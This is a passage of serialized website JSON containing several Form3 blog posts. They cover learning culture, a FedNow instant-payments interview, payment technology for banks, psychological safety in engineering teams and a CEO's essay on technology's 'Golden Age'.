Form3.",[],{"type":25,"text":22158,"spans":22159},"First things first, what exactly is a continuous learning culture? The CEB (Corporate Executive Board) offers the following definition which aligns closely with how we work at Form3:",[],{"type":1151,"text":22161,"spans":22162},"Create an environment that supports an open mindset. ",[],{"type":1151,"text":22164,"spans":22165},"Encourage an independent search for knowledge.",[],{"type":1151,"text":22167,"spans":22168},"Welcome shared learning that relates to organisational strategy.",[],{"type":25,"text":22170,"spans":22171},"So, whilst leadership example and links to strategy are of course important, we place more emphasis on the individual nature of learning. Each team member is embarking on their own career journey and will embed learning into their personal and working lives. It’s critical that each Form3 employee has the freedom to set their own development goals and has all the necessary tools & support to achieve them. ",[],{"type":25,"text":22173,"spans":22174},"Deloitte paints a compelling business case for continuous learning, finding that firms that implement it:",[],{"type":1151,"text":22176,"spans":22177},"Are 46% more likely to be first to market.",[],{"type":1151,"text":22179,"spans":22180},"Experience 37% higher productivity.",[],{"type":1151,"text":22182,"spans":22183},"Are 92% more likely to innovate.",[],{"type":25,"text":22185,"spans":22186},"Yet learning isn’t the norm in every organisation. Fewer than half of UK employees believe their job offers good opportunities to develop their skills, and only a third of L&D practitioners feel they’ve successfully developed a positive culture for learning, despite the vast majority wishing to do so from the outset.",[22187,22190],{"start":1250,"end":9206,"type":489,"data":22188},{"link_type":491,"url":22189,"target":493},"https:\u002F\u002Fwww.cipd.co.uk\u002Fknowledge\u002Fwork\u002Fskills\u002Funtapped-potential-uk-skills\u002F",{"start":11749,"end":22191,"type":489,"data":22192},257,{"link_type":491,"url":22193,"target":493},"https:\u002F\u002Fwww.cipd.co.uk\u002Fknowledge\u002Fstrategy\u002Fdevelopment\u002Fprofessionalising-learning-development-function\u002F",{"type":25,"text":22195,"spans":22196},"So, what’s stopping other companies from adopting a continuous learning culture? For one thing, a culture is developed naturally and is employee led, and is not something that can be decided at a board room table.  Additionally, everyone is busy these days – busy with projects, deadlines, meetings, emails, not to mention their personal lives. Short-term pressing problems are taking precedence over long term goals, such as personal development.",[],{"type":25,"text":22198,"spans":22199}," So, what do we do differently at Form3? We utilise OKRs (Objectives & Key Results) as a goal setting methodology, which allows each individual and each team to build their own personal development and performance goals. These are fully transparent across the business and are designed to be challenging yet achievable, with managers working alongside their team members to support their success. OKRs allow everyone at Form3 to share their own learning journey and ensure that development is encouraged, celebrated, and rewarded.",[],{"type":25,"text":22201,"spans":22202},"One of the barriers to learning at work is simply not having the capacity due to a busy workload. To overcome this, Form3 introduced Learning Days – these allow every team member to use 6 working days every year to engage in learning and development activities. We want to encourage our team members to be curious and innovative when exploring how they will use this time.",[],{"type":25,"text":22204,"spans":22205},"However, simply having the time to learn doesn’t negate the cost associated with achieving your personal, professional, or technical goals. So, to compliment Learning Days we offer a L&D Allowance – this is an annual budget that can be used to fund courses, qualifications, industry conferences, subscriptions, reading materials etc. ",[],{"type":25,"text":22207,"spans":22208},"Additionally, we have invested in Udemy Business, this is a next-gen learning platform that gives all employees access to over 14000 courses, as well as our own Form3 learning pathways. It acts as a central location to discover and share new skills.",[],{"type":25,"text":22210,"spans":22211},"All these initiatives aim to create a supportive learning environment where employees are fully equipped to stay future-fit in a complex and competitive world of work. Overall, we are proud that our team have complete autonomy to grow their career in the direction they want it to go. This has proven to be a big step in making continuous learning culturally acceptable at Form3.",[],{"type":25,"text":22213,"spans":22214},"Happy Learning! ",[],"rich_text$85c65d26-8823-44cd-98bb-4ef596a9884e",{"id":22217,"uid":22218,"type":3743,"data":22219},"alzzExEAACwAUWKT","back-office-overhaul-critical-to-survival-in-faster-payments-landscape",{"title":22220,"excerpt":22221,"card_image":22222,"published_date":22227,"reading_time":418,"tag":5813,"dek":22228,"featured_image":22229,"about_form3":22234,"client_about_heading":5,"client_about_body":22235,"author_name":5,"author_title":5,"author_photo":22236,"author_bio":22237,"author_linkedin":22238,"slices":22239,"meta_title":22220,"meta_description":22221},"Back-Office Overhaul Critical to Survival in Faster Payments Landscape","Just a few weeks after launch, FedNow is live. In an interview with PYMNTS, Miriam Sheril, Head of Product - U.S. at Form3, said that the initial interest and embrace by banks just a few weeks since the Federal Reserve’s instant payments service launch has been encouraging.",{"dimensions":22223,"alt":21799,"copyright":5,"url":22224,"id":22225,"edit":22226},{"width":412,"height":412},"\u002F_prismic-media\u002F814b596986c7287d-OZYM2g1OhdekY4ZE_back-office-overhaul-critical-t.png","OZYM2g1OhdekY4ZE",{"x":398,"y":398,"zoom":399,"background":400},"2023-08-14","Just a few weeks after launch, FedNow is live.Miriam Sheril, Head of Product, U.S. at Form3, said that the initial interest and embrace by banks just a few weeks since the Federal Reserve’s instant payments service launch has been encouraging.",{"dimensions":22230,"alt":21799,"copyright":5,"url":22231,"id":22232,"edit":22233},{"width":501,"height":646},"\u002F_prismic-media\u002F795f9a434bd9095e-WZQGKeueAGA97vMo_ef351dce-eb4f-41f5-8956-4a2c127.png","WZQGKeueAGA97vMo",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[22240,22248,22265,22306],{"variation":437,"version":438,"items":22241,"primary":22242,"id":22247,"slice_type":2058,"slice_label":5},[],{"headline":5,"sub_headline":5,"embed":22243,"caption":5},{"embed_url":22244,"provider_name":283,"provider_url":2050,"title":22220,"author_name":413,"author_url":284,"type":2048,"height":2055,"width":2056,"version":2049,"thumbnail_height":2053,"thumbnail_width":2052,"thumbnail_url":22245,"html":22246},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=HKIN6RNhwCM","https:\u002F\u002Fi.ytimg.com\u002Fvi\u002FHKIN6RNhwCM\u002Fhqdefault.jpg","\u003Ciframe width=\"200\" height=\"113\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FHKIN6RNhwCM?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" allowfullscreen title=\"Back-Office Overhaul Critical to Survival in Faster Payments Landscape\">\u003C\u002Fiframe>","embed$883b7f6d-edad-4007-aaec-35bb58639ac4",{"variation":437,"version":438,"items":22249,"primary":22250,"id":22264,"slice_type":468,"slice_label":5},[],{"body":22251},[22252,22255,22258,22261],{"type":25,"text":22253,"spans":22254},"Having debuted late last month, and as transactions have started to move through the system, Sheril noted that “the service is live, there are banks that are live on it, and there will be more banks joining.”",[],{"type":25,"text":22256,"spans":22257},"But there is still some hesitation from some financial institutions (FIs) to make a full leap into the faster payments system. Connectivity is a concern, and FIs are watching their peers for a sense of where, when and what use cases will be most in demand.",[],{"type":25,"text":22259,"spans":22260},"“This is instant payments,” said Sheril, “and this is 24\u002F7. There are some rules that allow you not to be 24\u002F7, but that comes with pain points because if you’re the bank that ‘signs off,’ all the other banks get this notification and they can’t send payments to you.” In addition, for the consumers and enterprise clients anticipating the ability to, for example, pay their bills anytime — well, if their bank doesn’t enable that functionality, they’ll make the leap to another FI.",[],{"type":25,"text":22262,"spans":22263},"The last several years of The Clearing House’s RTP network offer an example of how things might go. Sheril noted that growth started slowly, then accelerated, and cumulatively has logged half a billion transactions in half a decade.",[],"rich_text$7b668928-344e-466e-86a5-34536a90ffd3",{"variation":437,"version":438,"items":22266,"primary":22267,"id":22305,"slice_type":468,"slice_label":5},[],{"body":22268},[22269,22272,22275,22278,22281,22284,22287,22293,22296,22299,22302],{"type":746,"text":22270,"spans":22271},"Moving Beyond Batch Payments",[],{"type":25,"text":22273,"spans":22274},"The move toward instant payments is forcing FIs to revisit their back-office functions and realize that resilience is key — and that, at the end of the day, batch processing will no longer be sufficient. Nor will any outages in a world where supporting thousands of transactions every second has its own technical challenges.",[],{"type":25,"text":22276,"spans":22277},"Sheril’s experience and vantage point has been informed by her current career path in the private sector and a previous stint at the Federal Reserve — working on FedNow. ",[],{"type":25,"text":22279,"spans":22280},"There are still a number of banks, she said, that are less clear about what FedNow might do for them, as they already have existing rails, ACH and Fedwire.  ",[],{"type":25,"text":22282,"spans":22283},"“This is a brand new type of payment. It’s not really an ACH payment; it’s a retail payment … It’s not really Fedwire; it’s a real-time gross settlement, but it’s not a wholesale payment. And so it’s unique. It’s a Frankenstein baby,” she said. And the banks are not going to be able to build out the functionality to support FedNow themselves.",[],{"type":25,"text":22285,"spans":22286},"Sheril said that the go-it-alone strategy proved costly and difficult for banks in the U.K. as faster payments took root there — and ultimately found value in partnering and in relying on the expertise of others. ",[],{"type":25,"text":22288,"spans":22289},"To move swiftly toward faster payments becomes easier with providers such as Form3, said Sheril, who noted that her company’s platform is already hosted in three clouds globally and has connections to RTP, to FedNow and to the data-rich messaging standards governing faster payments.",[22290],{"start":592,"end":9232,"type":489,"data":22291},{"link_type":491,"url":22292,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Fnews\u002Ffaster-payments\u002F2023\u002Ffaster-payments-instant-uptake-or-slow-burn-ahead-as-fednow-readies-to-launch\u002F",{"type":25,"text":22294,"spans":22295},"“We’re not building this from scratch,” she told PYMNTS, adding that “we’ve been running all of this for six years.” The partnership model becomes especially valuable, she said, when it comes to fraud prevention, and the faster payments, of course, are irrevocable. Form3, for its part, is building a fraud consortium to help improve those defenses. It’s also likely that confirmation of payee (entrenched in the U.K.) can help cut down on misdirected fund flows.  ",[],{"type":25,"text":22297,"spans":22298},"Asked by PYMNTS what will drive increased use of FedNow, Sheril predicted that “the businesses will drive the banks” as account-to-account transfers mark the early use cases, helping to transform everything from the student loan industry to real estate. ",[],{"type":25,"text":22300,"spans":22301},"Payrolls a greenfield opportunity, she said, as companies will compete with one another for workers — and offering “instant” payments to employees as wages are earned will become at first a competitive advantage, and then expected.",[],{"type":25,"text":22303,"spans":22304},"No matter how FedNow evolves, Sheril told PYMNTS, “as that network grows, it’s going to become more and more important for more banks to get on it — or they will be left behind.”",[],"rich_text$f3190b7a-9cd5-4353-9d1f-7c45d68859d9",{"variation":437,"version":438,"items":22307,"primary":22308,"id":22315,"slice_type":468,"slice_label":5},[],{"body":22309},[22310],{"type":25,"text":14790,"spans":22311},[22312],{"start":9799,"end":1131,"type":489,"data":22313},{"link_type":491,"url":22314,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Fnews\u002Fpayment-methods\u002F2023\u002Fback-office-overhaul-critical-to-survival-in-faster-payments-landscape-says-form3\u002F","rich_text$22ff8128-ccc5-4299-8585-5798d502d6f1",{"id":22317,"uid":22318,"type":3743,"data":22319},"alz0PxEAACgAUWVj","why-enterprise-banks-must-adopt-innovations-in-payment-technologies",{"title":22320,"excerpt":22321,"card_image":22322,"published_date":22327,"reading_time":1633,"tag":3751,"dek":22328,"featured_image":22329,"about_form3":22336,"client_about_heading":5,"client_about_body":22337,"author_name":5,"author_title":5,"author_photo":22338,"author_bio":22339,"author_linkedin":22340,"slices":22341,"meta_title":22320,"meta_description":22328},"Why Enterprise Banks Must Adopt Innovations in Payment Technologies","The global rise of digital banks, including Monzo, Starling, N26, Volt, Airwallex and Revolut, has continued at pace and as a result, all have successfully managed to acquire sizeable customer bases since their respective launches over the past ten years.",{"dimensions":22323,"alt":22320,"copyright":5,"url":22324,"id":22325,"edit":22326},{"width":412,"height":412},"\u002F_prismic-media\u002F9793fb1d2ad91b2e-CaTqR2FDzN_1GE3u_why-enterprise-banks-must-adopt.png","CaTqR2FDzN_1GE3u",{"x":398,"y":398,"zoom":399,"background":400},"2021-06-28","The global rise of digital banks, including Monzo, Starling, N26, Volt, Airwallex and Revolut, has continued at pace and as a result, all have successfully managed to acquire sizable customer bases since their respective launches over the past ten years.",{"dimensions":22330,"alt":5,"copyright":5,"url":22333,"id":22334,"edit":22335},{"width":22331,"height":22332},1778,1406,"\u002F_prismic-media\u002Ffd734fc45174cc09-1NFp2jQEUmR4kAIE_27a92a4d-6dfe-4c1a-959a-c652f72.png","1NFp2jQEUmR4kAIE",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[22342,22350,22407],{"variation":437,"version":438,"items":22343,"primary":22344,"id":22349,"slice_type":583,"slice_label":5},[],{"quote":22345,"attribution_name":5,"attribution_role":5},[22346],{"type":25,"text":22347,"spans":22348},"\"Back-office infrastructure transformation is the swing in the pendulum for banks to beat digital challengers at their own game\"",[],"pull_quote$2bb51c6c-60d9-466c-a229-147834cf3331",{"variation":437,"version":438,"items":22351,"primary":22352,"id":22406,"slice_type":468,"slice_label":5},[],{"body":22353},[22354,22357,22360,22363,22367,22371,22378,22385,22391,22398,22402],{"type":746,"text":22355,"spans":22356},"Why do innovations in payment technologies matter?",[],{"type":25,"text":22358,"spans":22359},"The short answer to this question is that customers care about real-time movement of money and real-time accurate information. Processing speed is only part of the solution; giving customers direct visibility into the payment status is also important (for all payment types). ",[],{"type":25,"text":22361,"spans":22362},"We’ve outlined a few of the reasons for this below: ",[],{"type":1151,"text":22364,"spans":22365},"Reduces interstitial anxiety\nThe ‘where’s my money’ effect. Customers without access to real-time payments will make sure to get in touch with your helplines, clogging up your customer service teams and draining resources. \n\n",[22366],{"start":398,"end":9704,"type":593},{"type":1151,"text":22368,"spans":22369},"Gives customers control over personal finances \nReal-time payments give customers better oversight of the health of their finances. \n\n",[22370],{"start":398,"end":9202,"type":593},{"type":1151,"text":22372,"spans":22373},"Creates consistency with other digital experiences \nCustomers that are accustomed to instant services now expect to see funds updated in real-time. \nAsk yourself how many banks have sent out comms to explain the difference between Account balance and Actual balance, and you can see how this phenomenon plays out.  \nIn our opinion, back-office infrastructure transformation is the swing in the pendulum for banks to beat digital challengers at their own game. An overhaul in the back office will literally transform the ability to innovate at pace, scale on demand as payment volumes grow, keep operational costs super low and remove the burden of maintaining, upgrading and changing systems. \nBut legacy banks haven’t purposely sabotaged themselves. For the most part, they have been trying to roll out new banking technology innovations.  \nThe reality is that incumbent banks have unique challenges that newer banks don’t have but they are far from insurmountable, especially given recent technology innovations. \n\n",[22374,22375,22377],{"start":398,"end":2971,"type":593},{"start":13003,"end":22376,"type":593},246,{"start":9258,"end":9374,"type":593},{"type":1151,"text":22379,"spans":22380},"Legacy technology \nAlthough incumbent banks have legacy technology, modern tech stacks at partner organisations have proven they can handle payment processing on a large scale and ensure future proofing as all scheme rules and regulatory changes are baked in.  Legacy tech stacks require frequent, costly upgrades, patches etc.  Modern stacks stay current and compliant with all schemes, taking the 'run the bank' challenge off the banks' plate. ",[22381,22382],{"start":398,"end":6911,"type":593},{"start":2651,"end":3971,"type":489,"data":22383},{"link_type":491,"url":22384,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fblog\u002Fyour-guide-to-selecting-the-right-payments-technology-partner",{"type":1151,"text":22386,"spans":22387},"Real-time hits the big time \nFinancial regulators are pushing for real-time payments as a challenger to other POS solutions, particularly card markets.  Having a tap and go app that sends an instant payment rather than going through the card rails is a total game changer. The technology is already there but regulation is still playing catch up. For instance if there is problem with a credit card purchase, you’re protected.  With an instant payment, you’re not.  So industry and regulators have to do something to address that gap.  Maybe not so important for your weekly shop but definitely needed for buying a tv or a holiday. ",[22388,22389],{"start":398,"end":3485,"type":593},{"start":871,"end":3407,"type":489,"data":22390},{"link_type":491,"url":9376,"target":493},{"type":1151,"text":22392,"spans":22393},"Future demand and a price-tag to match \nScalable platforms are essential. But tech executives within banks have been burned before with fully customised, configured systems and cost per volume pricing that lock in banks to a single provider that make it difficult to get out.  \nExpenses should be reduced over time, but as research firm Gartner reports the initial costs of cost-per-volume in the cloud can be more expensive, with savings coming later. \nPartner companies like Form3 understand this, which is why the best payment technology solution providers enable growth without any customisation. ",[22394,22395],{"start":398,"end":11705,"type":593},{"start":9057,"end":18855,"type":489,"data":22396},{"link_type":491,"url":22397,"target":493},"https:\u002F\u002Fblogs.gartner.com\u002Fmarco-meinardi\u002F2018\u002F11\u002F30\u002Fpublic-cloud-cheaper-than-running-your-data-center\u002F",{"type":1151,"text":22399,"spans":22400},"Cautious to a fault: The risk of avoiding agile banking \nAn abundance of caution may have stood incumbent banks in good stead in the past, but as technology has moved on, there’s considerable evidence that these concerns have been eliminated since. \nThe risk of waiting to act doesn’t outweigh the consequences of losing ground to challenger banks. Especially as more and more banks are making headlines for the wrong reasons for outages, breaches and worst loss of data becoming major headline news. Modernising old technology to a more robust, highly resilient and secure solution is paramount. ",[22401],{"start":398,"end":3853,"type":593},{"type":1151,"text":22403,"spans":22404},"Selecting your payment technology transformation partner  \nRecent innovations in payment technologies allow legacy banks to be more agile and take away one of the differentiating factors challenger banks use to define themselves. They are no longer bound to manage infrastructure in-house but running the whole payments infrastructure as a service with a specialist provider makes sense from a flexibility, scale, resilience and cost perspective. This enables legacy banks to focus on their other strategic objectives and rival the challenger banks on their own terms. ",[22405],{"start":398,"end":3639,"type":593},"rich_text$ec33e5fd-c9bf-49ed-94a8-d408bfa3b6aa",{"variation":437,"version":438,"items":22408,"primary":22409,"id":22420,"slice_type":468,"slice_label":5},[],{"body":22410},[22411,22414,22417],{"type":746,"text":22412,"spans":22413},"Change is coming. Act now",[],{"type":25,"text":22415,"spans":22416},"Whether you’re an emerging bank looking to capitalise on real-time payments and API connectivity into schemes or you’re a legacy bank wanting to bring your payments infrastructure to the next level, Form3 provides the critical payment infrastructure technology needed to de-risk, optimise efficiency, reduce costs and free up bank resources to innovate and deploy new products and services quickly. ",[],{"type":25,"text":22418,"spans":22419},"Chat with Form3 today to find out how moving to a cloud native platform will transform the way you manage payments in the future.  ",[],"rich_text$829530de-d4dd-40b0-a1f1-06b7dd8c428b",{"id":22422,"uid":22423,"type":3743,"data":22424},"alzzzBEAAC0AUWRT","psychological-safety-at-form3",{"title":22425,"excerpt":22426,"card_image":22427,"published_date":22433,"reading_time":643,"tag":3751,"dek":22434,"featured_image":22435,"about_form3":22441,"client_about_heading":5,"client_about_body":22442,"author_name":5,"author_title":5,"author_photo":22443,"author_bio":22444,"author_linkedin":22445,"slices":22446,"meta_title":22425,"meta_description":22517},"Psychological safety at Form3","Psychological safety is the concept that an individual is in an environment in which they are comfortable making mistakes, learning from them, and sharing ideas. A psychologically safe environment fosters these ideas and creates a framework for positive and collaborative contribution from all team members",{"dimensions":22428,"alt":22429,"copyright":5,"url":22430,"id":22431,"edit":22432},{"width":412,"height":412},"Psychological Safety","\u002F_prismic-media\u002Fe9ecaf6710175758-gsoEvS06E2ypFNN_psychological-safety-at-form3.sv","_gsoEvS06E2ypFNN",{"x":398,"y":398,"zoom":399,"background":650},"2022-10-18","Psychological safety is the concept that an individual is in an environment in which they are comfortable making mistakes, learning from them, and sharing ideas. A psychologically safe environment fosters these ideas and creates a framework for positive and collaborative contribution from all team members.Aleksandra Wozniak, Andrea Rosa, and Elliot Williams, three members from different areas of the Form3 engineering team, recently discussed the concept of psychological safety as part of an internal round-table discussion.Together we examined what Form3 does to promote a psychologically safe environment for our highly performing engineering team members to succeed in and documented our discussion and findings in this post.",{"dimensions":22436,"alt":22437,"copyright":5,"url":22438,"id":22439,"edit":22440},{"width":501,"height":502},"Psychological safety ","\u002F_prismic-media\u002Fe89380d4ed070c98-wCHCneJGz2i7QFDW_59955200-ab5c-40bf-a0d0-d9cc0b9.png","wCHCneJGz2i7QFDW",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[22447],{"variation":437,"version":438,"items":22448,"primary":22449,"id":22516,"slice_type":468,"slice_label":5},[],{"body":22450},[22451,22454,22458,22461,22464,22467,22471,22474,22477,22480,22483,22487,22490,22493,22496,22500,22503,22506,22510,22513],{"type":746,"text":22452,"spans":22453},"How Form3 promotes psychological safety",[],{"type":988,"text":22455,"spans":22456,"direction":445},"Trust by default",[22457],{"start":398,"end":2477,"type":593},{"type":25,"text":22459,"spans":22460,"direction":445},"Our engineering team is remote-first, distributed across the world, and spans multiple different time zones from Argentina to Bulgaria. We do not do any sort of clocking in or time tracking, and some of our teams have even moved to primarily async communication.",[],{"type":25,"text":22462,"spans":22463,"direction":445},"Nonetheless we can trust our engineers to manage their time effectively and flexibly to suit their daily structure. Key to this is to set our standards high, keep expectations clear about what needs to be delivered from the outset, and provide prompt and targeted feedback whenever there is room for improvement.",[],{"type":25,"text":22465,"spans":22466,"direction":445},"Trusting our team by default facilitates remote working and gives them the confidence that they are delivering what is expected of them.",[],{"type":988,"text":22468,"spans":22469,"direction":445},"Promote creativity",[22470],{"start":398,"end":2769,"type":593},{"type":25,"text":22472,"spans":22473,"direction":445},"Our engineering Investment Time initiative provides an avenue for engineers to work on something new and outside their usual responsibilities every Wednesday afternoon. No meetings can be scheduled, and no regular work is expected during this time. Instead, we encourage our engineers to form new pairs or groups with new collaborators to tackle a problem that has been bothering them or would otherwise improve the lives of our engineering team.",[],{"type":25,"text":22475,"spans":22476,"direction":445},"This gives our engineers the opportunity to try something new, remove any pain points, and solve different problems in a self-organised and cross-team way.",[],{"type":25,"text":22478,"spans":22479,"direction":445},"Our Learning Days initiative allows engineers to book paid leave to attend courses, workshops, and exams, with the only condition being that the subject matter is relevant to them and to the engineering team’s goals. This ensures they can keep their skills sharp without the risk of burning out working on certifications over the weekends.",[],{"type":25,"text":22481,"spans":22482,"direction":445},"On a day-to-day basis we also involve engineers in the design process wherever we can, encouraging them to contribute new ideas for how to solve our business needs.",[],{"type":988,"text":22484,"spans":22485,"direction":445},"Set up a blameless environment",[22486],{"start":398,"end":3041,"type":593},{"type":25,"text":22488,"spans":22489,"direction":445},"At Form3 we try to create a culture where no one is afraid to admit being wrong. This enables us to collectively find better solutions and increases trust between colleagues.",[],{"type":25,"text":22491,"spans":22492,"direction":445},"We recognise the fact that tolerating failure is a key ingredient to high psychological safety. Mistakes happen; going down the wrong path is sometimes a part of the process. In stressful situations it’s very easy to start pointing fingers – and often counterproductive. When things don’t go as expected, it’s the whole team’s responsibility to find a solution. Attributing blame, putting people under pressure or increasing tension between colleagues won’t help with clearing a path forward.",[],{"type":25,"text":22494,"spans":22495,"direction":445},"That’s why during postmortem investigations we consciously avoid blaming anyone for what have happened. The important part is to identify the cause and learn from it, not to find a culprit.  Moreover, if no one is ever blamed for their actions, people are more comfortable to openly share their mistakes. This, again, increases trust between colleagues and contributes to higher team morale.",[],{"type":988,"text":22497,"spans":22498,"direction":445},"Leaders are not afraid to be vulnerable",[22499],{"start":398,"end":4219,"type":593},{"type":25,"text":22501,"spans":22502,"direction":445},"The basic principle of psychological safety, not being afraid to make mistakes, also applies to team leads and managers. Like everyone else, they are encouraged to try out new things, experiment and learn from their experiences – even if it means “failing” in front of their teams. Leaders set great examples for their teams by demonstrating vulnerability. When they share their learnings openly, are not afraid to apologise when they messed up, others are motivated to do the same.",[],{"type":25,"text":22504,"spans":22505,"direction":445},"For example, it is not unusual to hear “I don’t know, let’s find out” from our engineering leaders. No one is expected to know everything, regardless of their seniority level. Leaders are not pretending to know all the answers and are always happy to redirect the question to a better-informed colleague or find it themselves. We often see examples of this behaviour during incident investigations: if an engineering leader is called out and doesn’t know the solution straightaway, they often ask a more knowledgeable colleague for guidance. It doesn’t matter if this person happens to be more junior. There is no shame in saying “I don’t know, but I think Joe\u002FCarl\u002FSusan will”.",[],{"type":988,"text":22507,"spans":22508,"direction":445},"Celebrate achievements and give recognition",[22509],{"start":398,"end":5136,"type":593},{"type":25,"text":22511,"spans":22512,"direction":445},"Another important practice contributing to high psychological safety is celebrating successes and giving recognition in a timely manner. At Form3 we have a dedicated Slack channel where employees can give shoutouts to their colleagues for achieving something awesome. Promotions are not the only reasons to celebrate: completing a major piece of work, solving a pending problem, taking a new responsibility or helping someone in their daily tasks are all valid reasons to appreciate someone’s work. Public shoutouts are always generously endorsed with emojis and follow-up congratulations.",[],{"type":25,"text":22514,"spans":22515,"direction":445},"We’ve enjoyed sharing a little of how we create a safe environment at Form3, but we’d also love to hear what works well for other businesses out there!",[],"rich_text$5b8cc37c-5188-47aa-9958-fd5345a8df59","Psychological safety is the concept that an individual is in an environment in which they are comfortable making mistakes, learning from them, and sharing ideas. A psychologically safe environment fosters these ideas and creates a framework for positive and collaborative contribution from all team members.",{"id":22519,"uid":22520,"type":3743,"data":22521},"alzz7hEAACkAUWSk","this-is-why-we-live-in-a-golden-age-of-technology",{"title":22522,"excerpt":22523,"card_image":22524,"published_date":22529,"reading_time":1130,"tag":5813,"dek":22530,"featured_image":22531,"about_form3":22532,"client_about_heading":5,"client_about_body":22533,"author_name":5,"author_title":5,"author_photo":22534,"author_bio":22535,"author_linkedin":22536,"slices":22537,"meta_title":22522,"meta_description":22530},"This is why we live in a Golden Age of Technology","Michael Mueller, CEO at Form3 provides insight into the golden age of technology and the potential it has to help us create a better future for our world.",{"dimensions":22525,"alt":22522,"copyright":5,"url":22526,"id":22527,"edit":22528},{"width":412,"height":412},"\u002F_prismic-media\u002Fd74d4215a2703d97-4Q9Lc4bwMmgXBURG_this-is-why-we-live-in-a-golden.png","4Q9Lc4bwMmgXBURG",{"x":398,"y":398,"zoom":399,"background":400},"2022-08-09","The current economic downturn and cost of living crisis dominate much of the news coverage we see at the moment. Geo-political factors such as Russia’s invasion of Ukraine and anthropogenic climate change have cast a dark shadow over the world.",{},[],[],{},[],{"link_type":434},[22538],{"variation":437,"version":438,"items":22539,"primary":22540,"id":22578,"slice_type":468,"slice_label":5},[],{"body":22541},[22542,22548,22551,22554,22557,22560,22563,22566,22569,22572,22575],{"type":25,"text":22543,"spans":22544},"These are troubled times for the fintech industry too. Economic instability has led to a fall in investment in the fintech sector; according to data from CB Insights, funding declined by 33% in Q2 2022, having dropped by 21% in the previous quarter. ",[22545],{"start":4106,"end":4589,"type":489,"data":22546},{"link_type":491,"url":22547,"target":493},"https:\u002F\u002Fwww.cbinsights.com\u002Freports\u002FCB-Insights_Venture-Report-Q2-2022.pdf",{"type":25,"text":22549,"spans":22550},"While it’s easy to get sucked in by the doom and gloom, we shouldn’t forget that there are plenty of things that we should be positive about. During a recent conversation with one of Form3’s senior engineers, it dawned on me that we truly live in a Golden Age of technology. And while technology might not be the answer to every single one of our problems, it certainly does have the potential to help us create a better future for our world. ",[],{"type":25,"text":22552,"spans":22553},"The cloud has played a central role in bringing about this Golden Age as a democratizing force. If you wanted to build meaningful technology 20 years ago, you had to invest a lot of money in the infrastructure, the servers, the networking, the tooling, and many other things too. This made it very hard for anyone to build anything of any size; but with the cloud, all you need is a couple of hundred pounds and you can have access to institutional-grade infrastructure. This means that it’s much easier to bring an idea to life and release it to the world. You don’t even need to have an especially powerful computer — just a credit card.",[],{"type":25,"text":22555,"spans":22556},"Open source principles have also helped to give rise to this Golden Age of tech. It has opened up low-cost, high-end software to everyone, supported by a whole global industry. Combine this with the greater access to information we have through the web and numerous tech forums, and we can see how it’s become much easier to solve problems and take a collaborative approach to software development. ",[],{"type":25,"text":22558,"spans":22559},"Software development is much more distributed too; these collaborations can take place between engineers in multiple locations around the world. The barriers to becoming a software developer are much lower than they have ever been thanks to technology, meaning companies like ours can get access to high end talent in remote places. This in turn helps us to continue to diversify our engineering teams and drive innovations that are truly global and inclusive.",[],{"type":25,"text":22561,"spans":22562},"None of this would have been possible 20 years ago — you would have had a relatively small team in a centralized location building proprietary solutions, relying on their own infrastructure. The odds of creating world-class software would be stacked against you. Now, thanks to GitHub, Stack Overflow and the like, the power of the community has been unleashed and today’s software developers can access a whole library of components and APIs and use them as building blocks for their own projects. ",[],{"type":25,"text":22564,"spans":22565},"While I would never describe a software engineer’s job as an easy one, the tools that they have at their disposal gives them the potential to build jaw-droppingly exciting solutions that are genuinely changing the world. This is why it’s a Golden Age for tech — while the world is in a parlous position, technology gives us the power to solve many of our problems and drive humanity forwards.",[],{"type":25,"text":22567,"spans":22568},"Looking inward for a moment, at what Form3 has been able to achieve in this Golden Age, it’s just incredible. We — a company that is less than six years old — are providing mission critical technology to very large regulated financial institutions. And we do that at scale. In the old world, that wouldn't have been possible because it would have taken us years to develop the platform in the first place and then convince customers to move onto that platform, and we've done all that in parallel.",[],{"type":25,"text":22570,"spans":22571},"As a matter of fact, only five years after the platform went live, we're now replacing it with a multi-cloud platform. We are agile enough to be able to swap out all of it and rebuild it to offer clients unsurpassed, industry-leading resilience. This wouldn’t have been possible without the tooling, the engineering, the access to talent, the access to open source, the cloud, and all the rest of it.",[],{"type":25,"text":22573,"spans":22574},"Long-term technology trends are rarely derailed by short-term economic developments. So, while the current outlook may not be bright, there are real reasons for optimism. It’s our duty as a business — and as a wider community — to ensure we continue to support software development so we can fully unlock its potential to create a better future for all of us. ",[],{"type":25,"text":22576,"spans":22577},"The questions we need to be asking ourselves now are: To what extent can we convince people to go into software engineering and drive this? To what extent can we keep access to information and borders open? To what extent can we continue to lower the barriers to entry for software development? To what extent can we keep the internet resilient? Effectively addressing these issues will be key to driving on this Golden Age of technology.",[],"rich_text$0d37fccb-005b-4777-abb8-8e5aca7a6e18",{"id":22580,"uid":22581,"type":3743,"data":22582},"alzzFhEAACoAUWKb","fednow-launch-pushes-banks-to-embrace-the-cloud",{"title":22583,"excerpt":22584,"card_image":22585,"published_date":22590,"reading_time":418,"tag":5813,"dek":22591,"featured_image":22592,"about_form3":22597,"client_about_heading":5,"client_about_body":22598,"author_name":5,"author_title":5,"author_photo":22599,"author_bio":22600,"author_linkedin":22601,"slices":22602,"meta_title":22583,"meta_description":22584},"FedNow Launch Pushes Banks to Embrace the Cloud","Banking in the cloud might have once been a nice-to-have, but over time has become critical to enabling the changes that banks are trying to enact across the payments landscape. In an interview with PYMNTS, Form3's CEO-US, David Scola discusses the increase in demand for instant payments following the launch of FedNow.",{"dimensions":22586,"alt":21799,"copyright":5,"url":22587,"id":22588,"edit":22589},{"width":412,"height":412},"\u002F_prismic-media\u002F23e1327df1f755c2-ZrH1LPXcNytP_DwK_fednow-launch-pushes-banks-to-e.png","ZrH1LPXcNytP_DwK",{"x":398,"y":398,"zoom":399,"background":400},"2023-08-08","Banking in the cloud might have once been a nice-to-have, but over time has become critical to enabling the changes that 